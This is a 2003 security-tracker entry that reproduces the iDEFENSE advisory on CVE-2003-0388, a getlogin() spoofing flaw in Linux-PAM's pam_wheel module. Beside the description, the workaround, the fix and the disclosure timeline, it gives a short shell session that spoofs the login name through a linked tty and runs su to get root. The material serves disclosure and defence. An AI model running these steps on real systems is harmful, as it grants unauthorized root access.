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Category:   Application (Security)  >   Pam (Pluggable Authentication Modules) Vendors:   Linux-PAM Project
Linux PAM Flaw in 'pam_wheel' May Let Local Users Grab Root Privileges
SecurityTracker Alert ID:  1007000
SecurityTracker URL:  http://securitytracker.com/id/1007000
CVE Reference:   CVE-2003-0388   (Links to External Site)
Updated:  Aug 19 2004
Original Entry Date:  Jun 16 2003
Impact:   Root access via local system
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 0.77 and prior versions
Description:   A vulnerability was reported in the Linux Pluggable Authentication Modules (PAM). The pam_wheel function allows local users to gain root privileges in certain cases.

iDEFENSE reported that if the "trust" option is enabled in the pam_wheel configuration file and the "use_uid" option is disabled, a local user can invoke pam_wheel and spoof the username returned by the getlogin() function to gain root access.

The following disclosure timeline is provided:

21 OCT 2002 Issue disclosed to iDEFENSE
22 NOV 2002 Andrew Morgan (Linux-PAM maintainer) notified
23 NOV 2002 Response received from Andrew Morgan
25 NOV 2002 iDEFENSE clients notified
14 DEC 2002 Patch provided to iDEFENSE for validation
14 JAN 2003 Issue fixed in CVS
09 JUN 2003 Andrew Morgan contacted re: availability of next stable release
09 JUN 2003 vendor-sec@lst.de informed of CVS updates
16 JUN 2003 Coordinated public disclosure

Impact:   A local user may be able to obtain root privileges.
Solution:   A fixed version (0.78) is available via CVS at:

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pam/Linux-PAM/

The report indicates that, as a workaround, you can enable the use_uid option.

Vendor URL:  www.kernel.org/pub/linux/libs/pam/ (Links to External Site)
Cause:   Authentication error
Underlying OS:  Linux (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Aug 19 2004 (Red Hat Issues Fix for RHEL) Linux PAM Flaw in 'pam_wheel' May Let Local Users Grab Root Privileges
Red Hat has released a fix for Red Hat Enterprise Linux 2.1.



 Source Message Contents

Subject:  [Full-Disclosure] iDEFENSE Security Advisory 06.16.03: Linux-PAM getlogin() Spoofing Vulnerability


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iDEFENSE Security Advisory 06.16.03:
http://www.idefense.com/advisory/06.16.03.txt
Linux-PAM getlogin() Spoofing Vulnerability
June 16, 2003

I. BACKGROUND

The Pluggable Authentication Module (PAM) is a flexible mechanism for
authenticating users. More information is available at
http://www.kernel.org/pub/linux/libs/pam/ .

II. DESCRIPTION

The pam_wheel module of Andrew G. Morgan's Linux-PAM uses getlogin() in
an insecure manner, thereby allowing attackers to bypass certain
restrictions. The pam_wheel module is often used with su(1) to allow
users belonging to a trusted group to utilize the command without
supplying a password. The module utilizes the getlogin() function to
determine the name of the currently logged in user. This name is then
compared against a list of members of a trusted group as specified in
the configuration file. The following is a snippet of the offending
section of code: 

fromsu = getlogin();
if (fromsu) {
    tpwd = getpwnam(fromsu);
}

...
...
...

/*
* test if the user is a member of the group, or if the
* user has the "wheel" (sic) group as its primary group.
*/
if (is_on_list(grp->gr_mem, fromsu) || (tpwd->pw_gid == grp->gr_gid)) {
    if (ctrl & PAM_DENY_ARG) {
        retval = PAM_PERM_DENIED;
    } else if (ctrl & PAM_TRUST_ARG) {
        retval = PAM_SUCCESS;        /* this can be a sufficient check
*/
    } else {
        retval = PAM_IGNORE;
    }
} else { 

If the "trust" option is enabled in the pam_wheel configuration file
and the "use_uid" option is disabled, any local user may spoof the
username returned by getlogin() and gain access to a super-user account
without supplying a password. The following is a sample exploitation
scenario:

$ w
10:32am up 3:26, 2 users, load average: 0.01, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 7:13am 3:03m 0.30s 0.22s -bash 
farmer pts/0 172.16.60.5 10:32am 0.00s 0.00s ? -

$ logname
farmer

$ ln /dev/tty tty1
$ bash < tty1

$ logname
root

$ su -
# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 

III. ANALYSIS

If the appropriate configuration options are enabled, and a member of
the wheel group is currently logged in, any local user can spoof log
entries, or, in the worst case scenario, obtain super-user privileges
depending on the PAM configuration settings.

IV. DETECTION

Linux-PAM 0.77 and previous versions are vulnerable, however, the
necessary configuration for exploitability must also exist. More
specifically, a trust of the wheel group must exist in an application
such as su(1), and the use_uid option must not be enabled. This is
usually not the default situation with most Linux installations.

The following is a sample default nonvulnerable entry from
/etc/pam.d/su in Redhat 7.3:

# Uncomment the following line to implicitly trust users in the "wheel"
group.
#auth sufficient /lib/security/pam_wheel.so trust use_uid

The following is a sample entry in /etc/pam.d/su that would be
vulnerable to the described attack:

# Uncomment the following line to implicitly trust users in the "wheel"
group.
auth sufficient /lib/security/pam_wheel.so trust

V. WORKAORUND

When utilizing the pam_wheel module, enable the use_uid option. Doing
so should prevent the login name spoofing from circumventing PAM
restrictions.

VI. VENDOR FIX

Andrew Morgan does not plan to release a new version of Linux-PAM,
however, Linux-PAM 0.78, which does fix this flaw, is obtainable via
the following CVS:

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pam/Linux-PAM/

Linux distributors will be releasing their own updates as appropriate.

VII. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
has assigned the identification number CAN-2003-0388 to this issue.

VIII. DISCLOSURE TIMELINE

21 OCT 2002      Issue disclosed to iDEFENSE
22 NOV 2002      Andrew Morgan (Linux-PAM maintainer) notified
23 NOV 2002      Response received from Andrew Morgan
25 NOV 2002      iDEFENSE clients notified
14 DEC 2002      Patch provided to iDEFENSE for validation
14 JAN 2003      Issue fixed in CVS
09 JUN 2003      Andrew Morgan contacted re: availability of next 
                 stable release
09 JUN 2003      vendor-sec@lst.de informed of CVS updates
16 JUN 2003      Coordinated public disclosure

X. CREDIT

Karol Wiesek (appelast@bsquad.sm.pl) is credited with discovering this
vulnerability.


Get paid for security research
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About iDEFENSE:

iDEFENSE is a global security intelligence company that proactively
monitors sources throughout the world - from technical vulnerabilities
and hacker profiling to the global spread of viruses and other
malicious code. Our security intelligence services provide
decision-makers, frontline security professionals and network
administrators with timely access to actionable intelligence and
decision support on cyber-related threats. For more information, visit
http://www.idefense.com .

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
 


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